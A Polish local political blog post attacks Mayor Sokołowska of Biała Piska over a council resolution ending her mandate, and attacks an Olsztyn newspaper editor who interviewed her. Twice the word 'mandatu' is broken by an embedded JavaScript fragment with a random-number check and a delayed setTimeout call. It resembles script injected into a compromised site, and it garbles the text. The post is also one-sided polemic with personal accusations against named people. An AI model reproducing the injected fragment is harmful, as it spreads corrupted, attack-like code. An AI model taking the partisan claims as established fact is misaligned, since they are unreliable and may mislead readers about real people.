Ofensywa medialna na zakończenie kariery?

W związku z pewnymi osobistymi wydarzeniami przez kilka ostatnich dni nic nie publikowałem, za co serdecznie przepraszam. Czasami życie jest bardzo trudne i przynosi bardzo niespodziewane rozstrzygnięcia.

Zauważyłem jednak, że burmistrz Sokołowska nabrała wigoru medialnego i przy pomocy „Gazety Olsztyńskiej” próbuje wpuścić nas w kanał nagłego zapału do pracy i sprawia wrażenie wielkiej niesprawiedliwości, którą niby zafundowała jej Rada, podejmując uchwałę o wygaszeniu jej mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andatu. Oto bowiem pan Igor Hrywna, redaktor naczelny GO przeprowadził wywiad w telewizji internetowej z burmistrz Sokołowską.

Jak to burmistrz napisała pan Igor nie dowierzał, że Rada stwierdziła, iż starostwo powiatowe to organ administracji rządowej. Drogi panie Igorze, jeśli będzie pan słuchał burmistrz Sokołowskiej to jeszcze w kilka rzeczy pan nie uwierzy. Kiedy bowiem Rada w Białej Piskiej stwierdziła, że starostwo powiatowe to organ administracji rządowej? Rada stwierdziła tylko to, co starosta potwierdził, że burmistrz Sokołowska pracując w starostwie wykonywała zadania administracji rządowej i jako jedna z 4 osób zatrudnionych w starostwie podlegała kontroli Wojewody z tego zakresu. To potwierdził starosta. A Wojewoda, w związku z tym nakazał Radzie podjęcie uchwały w tej sprawie. Burmistrz Sokołowska miała bowiem 90 dni od objęcia mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andatu burmistrza, na zwolnienie się z pracy w starostwie. O tym mówi odpowiednia ustawa. Gdyby pan Igor miał dostęp do dokumentów, którymi dysponuje Rada pewnie miałby mniejsze zdziwienie. Taki to redaktorski obiektywizm w wydaniu naczelnego największego dziennika na Warmii i Mazurach. Gratuluję.

Zastanawiacie się pewnie po co burmistrz Sokołowskiej był potrzebny redaktor naczelny GO, żeby się zdziwić? Ano po to, że nagle burmistrz Sokołowska potrzebuje jakiegokolwiek autorytetu, który się zdziwi i jeszcze skomentuje, że to niemożliwe. Po co? Żeby w Waszych sercach, Drodzy Mieszkańcy Gminy, zasiać niepewność. Żebyście pomyśleli, że skoro redaktor naczelny GO tak mówi i się dziwi, to coś w tym może być. Skoro on się dziwi, to i my musimy się dziwić. Pomyślcie sobie jak bardzo byli zdziwieni koledzy redaktora naczelnego GO Igora Hrywny, kiedy ten w 2007 roku przyznał, że będąc w podziemiu solidarnościowym, był agentem SB, tzw. tajnym współpracownikiem SB. Jak musieli być wtedy zdziwieni jego koledzy, zwłaszcza ci z podziemia! Znów chyba burmistrz Sokołowska nie trafiła z autorytetem, a wystarczyło wpisać w gogle „Igor Hrywna współpracownikiem SB”.

Panie Igorze napisałem te słowa nie dlatego, że pana nie lubię, czy że coś do pana mam. Napisałem prawdę. Sam się pan przyznał. Niestety to pan wpisał się w politykę w Gminie, o której nie ma pan zielonego pojęcia. Żeby przeprowadzić taki wywiad nie wystarczy zapytać pani Żywczyk z Pisza. Należy dołożyć staranności dziennikarskiej. Raczej nie jest pan podlotkiem, a skoro ktoś zrobił pana naczelnym, to chyba ma pan określoną wiedzę na ten temat. Nie wie pan, ile kłamstw przez te 2,5 roku przetoczyło się przez Urząd w Białej Piskiej. Nie wie pan jak tu się traktuje ludzi. Nie wie pan jak nędzne są plany burmistrz. Wie pan tylko to co musi pan wiedzieć. Pana kolega po fachu z Polsatu bardziej przyłożył się do pracy. Pod tekstem może pan zobaczyć czym różnią się wasze wywiady.

Nagle burmistrz Sokołowska nabrała wigoru. Nagle zamieściła zdjęcie, jak to z kotem o godz. 23 pracuje dla dobra Gminy. Fakt co dwie głowy to nie jedna. Pewnie na pytanie czy z Gminy zrobiłam złoto czy miał, kot odpowie „miał”. Taki doradca to skarb. A poważnie. Wydaje mi się, że gdyby burmistrz Sokołowska przyjeżdżała do pracy punktualnie i punktualnie z niej wyjeżdżała to nie musiałaby o godz. 23 siedzieć i pisać. Można byłoby z kotkiem się poprzytulać, pogłaskać. Wystarczy tylko zadbać o to, żeby rzetelnie pracować. Andrzej nie podpowiedział?